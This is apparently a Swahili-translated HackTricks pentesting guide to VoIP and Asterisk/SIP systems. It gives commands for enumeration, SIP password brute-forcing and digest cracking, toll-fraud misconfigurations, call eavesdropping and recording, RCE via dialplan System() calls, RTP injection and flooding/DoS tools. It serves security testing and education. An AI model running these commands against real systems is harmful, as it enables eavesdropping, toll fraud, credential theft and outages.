.. | ||
basic-voip-protocols | ||
README.md |
Pentesting VoIP
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikionekana kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud repos za github.
Taarifa Msingi za VoIP
Ili kuanza kujifunza kuhusu jinsi VoIP inavyofanya kazi, angalia:
{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}
Uchunguzi wa VoIP
Namba za Simu
Moja ya hatua za kwanza ambazo Timu Nyekundu inaweza kufanya ni kutafuta namba za simu zinazopatikana za kuwasiliana na kampuni kwa kutumia zana za OSINT, Utafutaji wa Google au kuchambua kurasa za wavuti.
Baada ya kupata namba za simu, unaweza kutumia huduma za mtandaoni kutambua mwendeshaji:
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
Kujua ikiwa mwendeshaji hutoa huduma za VoIP kunaweza kukusaidia kutambua ikiwa kampuni inatumia VoIP... Zaidi ya hayo, inawezekana kuwa kampuni haijachukua huduma za VoIP lakini inatumia kadi za PSTN kuunganisha PBX yake ya VoIP kwenye mtandao wa simu za jadi.
Vitu kama majibu ya moja kwa moja ya muziki kawaida huonyesha kuwa VoIP inatumika.
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
Taarifa za OSINT
Taarifa zozote za OSINT zinazosaidia kutambua programu ya VoIP inayotumiwa itakuwa muhimu kwa Timu Nyekundu.
Uchunguzi wa Mtandao
nmap
inaweza kuscan huduma za UDP, lakini kutokana na idadi ya huduma za UDP zinazoscan, ni polepole sana na huenda isiwe sahihi sana na aina hii ya huduma.svmap
kutoka SIPVicious (sudo apt install sipvicious
): Itapata huduma za SIP katika mtandao ulioonyeshwa.svmap
ni rahisi kuzuia kwa sababu inatumia User-Agentfriendly-scanner
, lakini unaweza kubadilisha nambari kutoka/usr/share/sipvicious/sipvicious
na kubadilisha.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
sipscan.py
kutoka sippts: Sipscan ni skana ya haraka sana kwa huduma za SIP kupitia UDP, TCP au TLS. Inatumia multithread na inaweza kuscan mitandao mikubwa. Inaruhusu kuweka kikomo cha bandari, kuscan TCP na UDP, kutumia njia nyingine (kwa chaguo-msingi itatumia OPTIONS) na kubainisha User-Agent tofauti (na zaidi).
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- metasploit:
Metasploit ni jukwaa maarufu la kufanya majaribio ya kuingilia kati (pentesting) ambalo linaweza kutumiwa kwa ufanisi katika kuchunguza na kuchunguza udhaifu katika mifumo ya kompyuta. Inatoa zana za nguvu za kufanya mashambulizi ya kuingilia kati na kuchunguza mifumo ya kompyuta ili kubaini mapungufu yake. Metasploit inaweza kutumika kwa ufanisi katika kufanya majaribio ya kuingilia kati kwenye mifumo ya VoIP ili kugundua na kuchunguza udhaifu.
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
Uchunguzi wa Ziada wa Mtandao
PBX inaweza pia kuwa inafichua huduma zingine za mtandao kama vile:
- 69/UDP (TFTP): Sasisho za firmware
- 80 (HTTP) / 443 (HTTPS): Kusimamia kifaa kupitia wavuti
- 389 (LDAP): Chaguo mbadala la kuhifadhi habari za watumiaji
- 3306 (MySQL): Hifadhidata ya MySQL
- 5038 (Meneja): Inaruhusu kutumia Asterisk kutoka jukwaa lingine
- 5222 (XMPP): Ujumbe kwa kutumia Jabber
- 5432 (PostgreSQL): Hifadhidata ya PostgreSQL
- Na nyinginezo...
Uchunguzi wa Njia
Inawezekana kupata njia zipi zinapatikana kutumia kwenye PBX kwa kutumia sipenumerate.py
kutoka sippts
python3 sipenumerate.py -i 10.10.0.10 -r 5080
Uchambuzi wa Vipeperushi
Vipeperushi katika mfumo wa PBX (Private Branch Exchange) hurejelea vitambulisho vya ndani vilivyotengwa kwa simu binafsi, vifaa, au watumiaji binafsi ndani ya shirika au biashara. Vipeperushi hufanya iwezekane kuongoza simu ndani ya shirika kwa ufanisi, bila haja ya namba za simu za kila mtumiaji au kifaa kwa kila mmoja.
svwar
kutoka kwa SIPVicious (sudo apt install sipvicious
):svwar
ni skana ya laini ya ugani ya PBX ya SIP ya bure. Kwa kifungu hufanya kazi kama wardialers za jadi kwa kudhani safu ya vipeperushi au orodha iliyotolewa ya vipeperushi.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
sipextend.py
kutoka sippts: Sipexten inatambua nyongeza kwenye seva ya SIP. Sipexten inaweza kuchunguza mitandao mikubwa na masafa ya bandari.
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
- metasploit: Unaweza pia kutambua nyongeza/names za watumiaji kwa kutumia metasploit:
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax
(apt install enumiax
): enumIAX ni programu ya kuchunguza majina ya watumiaji kwa njia ya nguvu kwenye itifaki ya Inter Asterisk Exchange (IAX). enumIAX inaweza kufanya kazi katika njia mbili tofauti; Kudhani Majina ya Watumiaji kwa Utaratibu au Shambulio la Kamusi.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
Mashambulizi ya VoIP
Kuvunja Nguvu ya Nenosiri
Baada ya kugundua PBX na baadhi ya extensions/usernames, Timu Nyekundu inaweza kujaribu uthibitisho kupitia njia ya REGISTER
kwa kutumia orodha ya maneno ya siri ya kawaida ili kuvunja nguvu ya uthibitisho.
{% hint style="danger" %} Tafadhali kumbuka kuwa username inaweza kuwa sawa na extension, lakini mazoea haya yanaweza kutofautiana kulingana na mfumo wa PBX, usanidi wake, na mapendeleo ya shirika...
Ikiwa jina la mtumiaji si sawa na extension, utahitaji kutambua jina la mtumiaji ili kulivunja kwa nguvu. {% endhint %}
svcrack
kutoka SIPVicious (sudo apt install sipvicious
): SVCrack inakuwezesha kuvunja nguvu ya nenosiri kwa jina la mtumiaji/extension maalum kwenye PBX.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
sipcrack.py
kutoka sippts: SIP Digest Crack ni zana ya kuvunja uthibitishaji wa digest ndani ya itifaki ya SIP.
{% code overflow="wrap" %}
python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt
{% endcode %}
- Metasploit:
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
Udukuzi wa VoIP
Ikiwa utapata vifaa vya VoIP ndani ya mtandao wa Open Wifi, unaweza kudukua habari zote. Zaidi ya hayo, ikiwa uko ndani ya mtandao uliofungwa zaidi (ukiunganishwa kupitia Ethernet au Wifi iliyolindwa) unaweza kutekeleza mashambulizi ya MitM kama ARPspoofing kati ya PBX na lango ili kudukua habari.
Kati ya habari za mtandao, unaweza kupata vitambulisho vya wavuti kwa kusimamia vifaa, nyongeza za mtumiaji, jina la mtumiaji, anwani za IP, hata nywila zilizohashwa na pakiti za RTP ambazo unaweza kucheza tena ili kusikiliza mazungumzo, na zaidi.
Ili kupata habari hii, unaweza kutumia zana kama Wireshark, tcpdump... lakini zana maalum iliyoundwa kwa ajili ya kudukua mazungumzo ya VoIP ni ucsniff.
{% hint style="danger" %}
Tafadhali kumbuka kuwa ikiwa TLS inatumika katika mawasiliano ya SIP hautaweza kuona mawasiliano ya SIP kwa wazi.
Hali hiyo hiyo itatokea ikiwa SRTP na ZRTP inatumika, pakiti za RTP hazitakuwa katika maandishi wazi.
{% endhint %}
Vitambulisho vya SIP
Angalia mfano huu ili kuelewa vizuri mawasiliano ya usajili wa SIP ili kujifunza jinsi vitambulisho vinavyotumwa.
sipdump
&sipcrack
, sehemu ya sipcrack (apt-get install sipcrack
): Zana hizi zinaweza kuchambua kutoka kwa pcap uthibitishaji wa kumeng'enya ndani ya itifaki ya SIP na kuvunja nguvu.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
siptshar.py
,sipdump.py
,sipcrack.py
kutoka sippts:- SipTshark inachambua data ya itifaki ya SIP kutoka kwenye faili ya PCAP.
- SipDump Inachambua uthibitisho wa SIP Digest kutoka kwenye faili ya PCAP.
- SIP Digest Crack ni zana ya kuvunja uthibitisho wa digest ndani ya itifaki ya SIP.
python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt
Msimbo wa DTMF
Si tu vibali vya SIP vinaweza kupatikana katika trafiki ya mtandao, pia ni rahisi kupata msimbo wa DTMF ambao hutumiwa kwa mfano kuufikia sanduku la ujumbe wa sauti.
Inawezekana kutuma misimbo hii katika ujumbe wa INFO SIP, kwa njia ya sauti au ndani ya pakiti za RTP. Ikiwa misimbo iko ndani ya pakiti za RTP, unaweza kukata sehemu hiyo ya mazungumzo na kutumia zana ya multimo kuwatoa:
multimon -a DTMF -t wac pin.wav
Simu za Bure / Mipangilio Mibovu ya Uunganisho wa Asterisks
Katika Asterisk, niwezekanavyo kuruhusu uunganisho kutoka kwa anwani ya IP maalum au kutoka kwa anwani yoyote ya IP:
host=10.10.10.10
host=dynamic
Ikiwa anwani ya IP imeainishwa, mwenyeji hatahitaji kutuma ombi la REGISTER mara kwa mara (katika pakiti ya REGISTER inatumwa wakati wa kuishi, kawaida dakika 30, ambayo inamaanisha kuwa katika hali nyingine simu itahitaji kusajili kila baada ya dakika 30). Walakini, itahitaji kuwa na bandari zilizofunguliwa kuruhusu uhusiano kutoka kwa seva ya VoIP kupokea simu.
Ili kufafanua watumiaji, wanaweza kufafanuliwa kama:
type=user
: Mtumiaji anaweza kupokea simu kama mtumiaji.type=friend
: Inawezekana kufanya simu kama rika na kuzipokea kama mtumiaji (inatumika na nyongeza)type=peer
: Inawezekana kutuma na kupokea simu kama rika (SIP-trunks)
Pia inawezekana kuanzisha uaminifu na kipengele kisichokuwa salama:
insecure=port
: Inaruhusu uhusiano wa rika uliothibitishwa na IP.insecure=invite
: Hauhitaji uwakilishi kwa ujumbe wa INVITEinsecure=port,invite
: Vyote viwili
{% hint style="warning" %}
Wakati type=friend
inatumika, thamani ya kipengele cha host haitatumika, kwa hivyo ikiwa msimamizi anapangilia vibaya SIP-trunk kwa kutumia thamani hiyo, mtu yeyote ataweza kuunganisha.
Kwa mfano, usanidi huu ungekuwa na udhaifu:
host=10.10.10.10
insecure=port,invite
type=friend
{% endhint %}
Simu za Bure / Kutofautisha Mazingira ya Asterisks
Katika Asterisk, mazingira ni chombo au sehemu iliyo na jina katika mpango wa kuchagua ambayo inagawa nyongeza, vitendo, na sheria zinazohusiana. Mpango wa kuchagua ni sehemu kuu ya mfumo wa Asterisk, kwani inaamua jinsi simu za kuingia na za kutoka zinavyoshughulikiwa na kuelekezwa. Mazingira hutumiwa kuandaa mpango wa kuchagua, kudhibiti ufikiaji, na kutoa utengano kati ya sehemu tofauti za mfumo.
Kila mazingira imefafanuliwa katika faili ya usanidi, kawaida katika faili ya extensions.conf
. Mazingira hutambuliwa na mabano mraba, na jina la mazingira limefungwa ndani yao. Kwa mfano:
csharpCopy code[my_context]
Ndani ya muktadha huu, unatambua nyongeza (muundo wa nambari zinazopigwa) na kuziunganisha na mfululizo wa hatua au programu. Hatua hizi zinaamua jinsi wito unavyosindika. Kwa mfano:
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
Hii ni mfano unaonyesha muktadha rahisi unaoitwa "my_context" na upanuzi "100". Wakati mtu anapiga nambari 100, simu itajibiwa, ujumbe wa karibu utachezwa, na kisha simu itakatishwa.
Huu ni muktadha mwingine unaoruhusu kupiga simu kwa nambari yoyote nyingine:
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
Ikiwa msimamizi anafafanua muktadha wa chaguo-msingi kama:
[default]
include => my_context
include => external
{% hint style="warning" %} Mtu yeyote ataweza kutumia seva kupiga simu kwa nambari yoyote nyingine (na msimamizi wa seva atalipia simu). {% endhint %}
{% hint style="danger" %}
Zaidi ya hayo, kwa chaguo-msingi faili ya sip.conf
ina allowguest=true
, kwa hivyo mtu yeyote mshambuliaji bila uthibitisho ataweza kupiga simu kwa nambari yoyote nyingine.
{% endhint %}
sipinvite.py
kutoka sippts: Sipinvite inachunguza ikiwa seva ya PBX inaturuhusu kupiga simu bila uthibitisho. Ikiwa seva ya SIP ina usanidi usio sahihi, itaturuhusu kupiga simu kwa nambari za nje. Pia inaweza kuturuhusu kuhamisha simu kwenda nambari ya pili ya nje.
Kwa mfano, ikiwa seva yako ya Asterisk ina usanidi mbaya wa muktadha, unaweza kukubali ombi la INVITE bila idhini. Katika kesi hii, mshambuliaji anaweza kupiga simu bila kujua jina la mtumiaji/nywila yoyote.
{% code overflow="wrap" %}
# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444
{% endcode %}
Simu za bure / Mipangilio isiyofaa ya IVRS
IVRS inasimama kwa Interactive Voice Response System, teknolojia ya simu ambayo inaruhusu watumiaji kuingiliana na mfumo uliowekwa kwenye kompyuta kupitia sauti au kugusa. IVRS hutumiwa kujenga mifumo ya kushughulikia simu kiotomatiki ambayo hutoa aina mbalimbali za huduma, kama kutoa taarifa, kuongoza simu, na kukusanya maelezo kutoka kwa watumiaji.
IVRS kwenye mifumo ya VoIP kwa kawaida inajumuisha:
- Sauti za maelekezo: Ujumbe wa sauti uliorekodiwa ambao huongoza watumiaji kupitia chaguo za menyu ya IVR na maelekezo.
- DTMF (Dual-Tone Multi-Frequency) ishara: Kuingiza ishara za kugusa kwa kubonyeza funguo kwenye simu, ambazo hutumiwa kusafiri kupitia menyu ya IVR na kutoa maelezo.
- Uelekezaji wa simu: Kuongoza simu kwenye marudio sahihi, kama vile idara maalum, mawakala, au namba za ndani kulingana na maelezo ya mtumiaji.
- Ukusanyaji wa maelezo ya mtumiaji: Kukusanya taarifa kutoka kwa witoaji, kama vile namba za akaunti, nambari za kesi, au data nyingine muhimu.
- Unganisho na mifumo ya nje: Kuunganisha mfumo wa IVR na maktaba au mifumo mingine ya programu ili kupata au kusasisha taarifa, kutekeleza hatua, au kuzindua matukio.
Kwenye mfumo wa Asterisk VoIP, unaweza kuunda IVR kwa kutumia mpango wa simu (faili ya extensions.conf
) na programu mbalimbali kama vile Background()
, Playback()
, Read()
, na zingine. Programu hizi zinasaidia kucheza sauti za maelekezo, kukusanya maelezo ya mtumiaji, na kudhibiti mwendelezo wa simu.
Mfano wa mipangilio isiyofaa ya IVRS inayoweza kudhurika
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
Iliyotangulia ni mfano ambapo mtumiaji anaulizwa bonyeza 1 kupiga simu idara moja, 2 kupiga simu nyingine, au namba kamili ya muda ikiwa anaijua.
Udhaifu ni ukweli kwamba urefu wa namba ya muda hauangaliwi, hivyo mtumiaji anaweza kuingiza namba kamili na itapigwa simu.
Uingizaji wa Namba ya Muda
Kwa kutumia namba ya muda kama vile:
exten => _X.,1,Dial(SIP/${EXTEN})
Mahali ambapo ${EXTEN}
ni namba ya simu, ambayo itaitwa, wakati ext 101 inapoingizwa, hii ndio itakayotokea:
exten => 101,1,Dial(SIP/101)
Hata hivyo, ikiwa ${EXTEN}
inaruhusu kuingiza zaidi ya nambari (kama katika toleo za zamani za Asterisk), mshambuliaji anaweza kuingiza 101&SIP123123123
ili kupiga simu nambari ya simu 123123123. Na hii ndio matokeo yake:
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
Kwa hiyo, wito kwa kifaa cha 101
na 123123123
utatumwa na kuanzishwa tu kwa wito wa kwanza... lakini ikiwa mshambuliaji anatumia kifaa kinachopuuza mechi yoyote inayofanywa lakini haipo, anaweza kuingiza wito tu kwa nambari inayotaka.
SIPDigestLeak
SIP Digest Leak ni udhaifu unaowaathiri idadi kubwa ya Simu za SIP, ikiwa ni pamoja na Simu za IP za vifaa na programu pamoja na vifaa vya kuunganisha simu (VoIP kwa analogi). Udhaifu huu unaruhusu uvujaji wa majibu ya uthibitishaji wa Digest, ambayo hujengwa kutoka kwa nenosiri. Shambulio la nje ya mtandao kwa nenosiri linawezekana na linaweza kupata nywila nyingi kulingana na majibu ya changamoto.
**Skenario ya udhaifu kutoka hapa**:
- Simu ya IP (mwathirika) inasikiliza kwenye bandari 5060, ikikubali simu
- Mshambuliaji anatuma INVITE kwa Simu ya IP
- Simu ya mwathirika inaanza kulia na mtu anapokea na kuweka chini (kwa sababu hakuna mtu anayejibu simu upande mwingine)
- Simu inapowekwa chini, simu ya mwathirika inatuma BYE kwa mshambuliaji
- Mshambuliaji anatoa jibu la 407 ambalo linauliza uthibitisho na kutoa changamoto ya uthibitisho
- Simu ya mwathirika inatoa jibu kwa changamoto ya uthibitisho katika BYE ya pili
- Mshambuliaji kisha anaweza kufanya shambulio la nguvu kwenye jibu la changamoto kwenye kompyuta yake ya ndani (au mtandao uliosambazwa nk) na kudhani nenosiri
- sipdigestleak.py kutoka sippts: SipDigestLeak inatumia udhaifu huu.
python3 sipdigestleak.py -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
Bonyeza2Piga
Bonyeza2Piga inaruhusu mtumiaji wa wavuti (ambaye kwa mfano anaweza kuwa na nia ya bidhaa) kuweka namba yake ya simu ili apigiwe simu. Kisha, tangazo litapigwa simu, na wakati mtumiaji anapokea simu, mtumiaji atapigiwa simu na kuunganishwa na wakala.
Profaili ya kawaida ya Asterisk kwa hii ni:
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- Wasifu uliopita unaruhusu ANUANI YOYOTE YA IP kuunganisha (ikiwa nenosiri linajulikana).
- Ili kuandaa simu, kama ilivyoelezwa hapo awali, hakuna ruhusa ya kusoma inahitajika na tu originate katika andika inahitajika.
Kwa ruhusa hizo, anwani yoyote ya IP ikijua nenosiri inaweza kuunganisha na kutoa habari nyingi sana, kama:
{% code overflow="wrap" %}
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
{% endcode %}
Maelezo zaidi au hatua zaidi zinaweza kuhitajika.
Kusikiliza kwa siri
Katika Asterisk, ni muhimu kutumia amri ya ChanSpy
ikionyesha extension(s) za kufuatilia (au zote) ili kusikiliza mazungumzo yanayoendelea. Amri hii inahitaji kuwekwa kwenye extension.
Kwa mfano, exten => 333,1,ChanSpy('all',qb)
inaonyesha kwamba ikiwa unapiga simu kwenye extension 333, itafuatilia all
extensions, anza kusikiliza wakati mazungumzo mapya yanapoanza (b
) kwa hali ya utulivu (q
) kwani hatutaki kuingilia kati. Unaweza kwenda kutoka mazungumzo yanayoendelea mengine hadi mengine kwa kubonyeza *
, au kwa kuchagua nambari ya extension.
Pia ni muhimu kutumia ExtenSpy
ili kufuatilia extension moja tu.
Badala ya kusikiliza mazungumzo, ni muhimu kuyarekodi kwenye faili kwa kutumia extension kama vile:
{% code overflow="wrap" %}
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
{% endcode %}
Simu zitahifadhiwa katika /tmp
.
Unaweza hata kufanya Asterisk itekeleze script ambayo itafichua simu wakati inafungwa.
exten => h,1,System(/tmp/leak_conv.sh &)
RTCPBleed
RTCPBleed ni shida kubwa ya usalama inayoathiri seva za VoIP zinazotegemea Asterisk (ilichapishwa mwaka 2017). Shida hii inaruhusu trafiki ya RTP (Itifaki ya Wakati Halisi), ambayo inabeba mazungumzo ya VoIP, kuwa inayoweza kusikilizwa na kuelekezwa na yeyote kwenye mtandao. Hii hutokea kwa sababu trafiki ya RTP inapita kwenye NAT (Tafsiri ya Anwani ya Mtandao) bila kuhitaji uwakilishi.
Proksi za RTP hujaribu kutatua vikwazo vya NAT vinavyoathiri mifumo ya RTC kwa kusimamia mwendelezo wa RTP kati ya pande mbili au zaidi. Wakati NAT iko mahali pake, programu ya proksi ya RTP mara nyingi haiwezi kutegemea habari ya IP na bandari ya RTP iliyopatikana kupitia ishara (k.m. SIP). Kwa hiyo, proksi nyingi za RTP zimeanzisha utaratibu ambapo habari ya IP na bandari kama hiyo hujifunza kiotomatiki. Hii mara nyingi hufanywa kwa kuchunguza trafiki ya RTP inayoingia na kuweka alama ya IP na bandari ya chanzo kwa trafiki yoyote ya RTP inayoingia kama ile inayopaswa kujibiwa. Utaratibu huu, ambao unaweza kuitwa "hali ya kujifunza", hauna matumizi ya aina yoyote ya uwakilishi. Kwa hiyo, wahalifu wanaweza kutuma trafiki ya RTP kwa proksi ya RTP na kupokea trafiki ya RTP iliyosimamiwa iliyokusudiwa kwa mtumiaji halali.
Tabia nyingine ya kuvutia ya proksi za RTP na safu za RTP ni kwamba mara nyingi, hata kama hazina shida ya RTP Bleed, zitakubali, zitawasilisha, na/au kusindika pakiti za RTP kutoka kwa chanzo chochote. Kwa hiyo, wahalifu wanaweza kutuma pakiti za RTP ambazo zinaweza kuwaruhusu kuingiza media yao badala ya ile halali. Tunaita shambulio hili kuingiza RTP kwa sababu linaruhusu kuingiza pakiti za RTP zisizo halali kwenye mwendelezo wa RTP uliopo. Shida hii inaweza kupatikana katika proksi za RTP na vituo vya mwisho.
Asterisk na FreePBX kwa kawaida hutumia mipangilio ya NAT=yes
, ambayo inawezesha trafiki ya RTP kupita bila kuhitaji uwakilishi, na hivyo kusababisha kutokuwepo kwa sauti au sauti ya upande mmoja kwenye simu.
Kwa habari zaidi angalia https://www.rtpbleed.com/
rtpbleed.py
kutoka sippts: Inagundua shida ya RTP Bleed kwa kutuma mwendelezo wa RTP.
python3 rtpbleed.py -i 10.10.0.10
rtcpbleed.py
kutoka sippts: Inagundua udhaifu wa RTP Bleed kwa kutuma mafurushi ya RTP
python3 rtcpbleed.py -i 10.10.0.10
rtpbleedflood.py
kutoka sippts: Tumia udhaifu wa RTP Bleed kwa kutuma mafuriko ya mto wa RTP
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
rtpbleedinject.py
kutoka sippts: Tumia udhaifu wa RTP Bleed kutuma mafurushi ya RTP (kutoka kwenye faili ya sauti)
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav
RCE
Katika Asterisk, kwa njia fulani unaweza kuweza kuongeza sheria za ugani na kuzisasisha (kwa mfano kwa kudhoofisha seva ya wavuti inayoweza kudhurika), niwezekanavyo kupata RCE kwa kutumia amri ya System
.
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
Kuna amri inayoitwa Shell
ambayo inaweza kutumika badala ya System
kutekeleza amri za mfumo ikiwa ni lazima.
{% hint style="warning" %}
Ikiwa seva inazuia matumizi ya herufi fulani katika amri ya System
(kama vile Elastix), angalia ikiwa seva ya wavuti inaruhusu kuunda faili kwa njia fulani ndani ya mfumo (kama vile Elastix au trixbox), na itumie kuunda script ya mlango wa nyuma na kisha tumia System
kutekeleza script hiyo.
{% endhint %}
Faili za ndani za kuvutia na ruhusa
sip.conf
-> Ina nywila za watumiaji wa SIP.- Ikiwa seva ya Asterisk inaendeshwa kama root, unaweza kudhoofisha root
- mtumiaji wa mizizi wa mysql huenda hawana nenosiri lolote.
- hii inaweza kutumika kuunda mtumiaji mpya wa mysql kama mlango wa nyuma
FreePBX
amportal.conf
-> Ina nywila ya msimamizi wa kikoa cha wavuti (FreePBX)FreePBX.conf
-> Ina nywila ya mtumiaji FreePBXuser inayotumiwa kupata ufikiaji wa hifadhidata- hii inaweza kutumika kuunda mtumiaji mpya wa mysql kama mlango wa nyuma
Elastix
Elastix.conf
-> Ina nywila kadhaa kwa maandishi wazi kama nywila ya mizizi ya mysql, nywila ya IMAPd, nywila ya wavuti ya utawala- Folda kadhaa zitamilikiwa na mtumiaji wa Asterisk aliyeathiriwa (ikiwa haifanyi kazi kama root). Mtumiaji huyu anaweza kusoma faili za awali na pia kudhibiti usanidi, kwa hivyo anaweza kufanya Asterisk iweke programu zingine zilizo na mlango wa nyuma wakati inatekelezwa.
Uingizaji wa RTP
Inawezekana kuingiza faili ya .wav
katika mazungumzo kwa kutumia zana kama vile rtpinsertsound
(sudo apt install rtpinsertsound
) na rtpmixsound
(sudo apt install rtpmixsound
).
Au unaweza kutumia hati kutoka http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ kusoma mazungumzo (rtpscan.pl
), kutuma .wav
kwa mazungumzo (rtpsend.pl
) na kuingiza kelele katika mazungumzo (rtpflood.pl
).
DoS
Kuna njia kadhaa za kujaribu kufikia DoS katika seva za VoIP.
sipflood.py
kutoka sippts**: **SipFlood inatuma ujumbe usio na kikomo kwa lengopython3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v
- IAXFlooder: DoS itifaki ya IAX inayotumiwa na Asterisk
- inviteflood: Zana ya kufanya mafuriko ya ujumbe wa SIP/SDP INVITE kupitia UDP/IP.
- rtpflood: Tuma pakiti kadhaa za RTP zilizo na muundo mzuri. Inahitajika kujua bandari za RTP zinazotumiwa (chunguza kwanza).
- SIPp: Inaruhusu kuchambua na kuzalisha trafiki ya SIP. kwa hivyo inaweza kutumika pia kwa DoS.
- SIPsak: Kisu cha jeshi la Uswisi cha SIP. Pia inaweza kutumika kufanya mashambulizi ya SIP.
- Fuzzers: protos-sip, voiper.
sipsend.py
kutoka sippts: SIPSend inaruhusu kutuma ujumbe wa SIP ulioboreshwa na kuchambua jibu.wssend.py
kutoka sippts: WsSend inaruhusu kutuma ujumbe wa SIP ulioboreshwa kupitia WebSockets na kuchambua jibu.
Mianya ya OS
Njia rahisi ya kufunga programu kama Asterisk ni kupakua usambazaji wa OS ambao tayari una programu hiyo iliyosanikishwa, kama vile: FreePBX, Elastix, Trixbox... Shida na hizo ni kwamba mara tu inapofanya kazi, wasimamizi wa mfumo wanaweza kutowasasisha tena na mianya itagunduliwa kwa wakati.
Marejeo
- https://github.com/Pepelux/sippts/wiki
- http://blog.pepelux.org/
- https://www.rtpbleed.com/
- https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4
- https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako inayotangazwa katika HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi wa PEASS & HackTricks
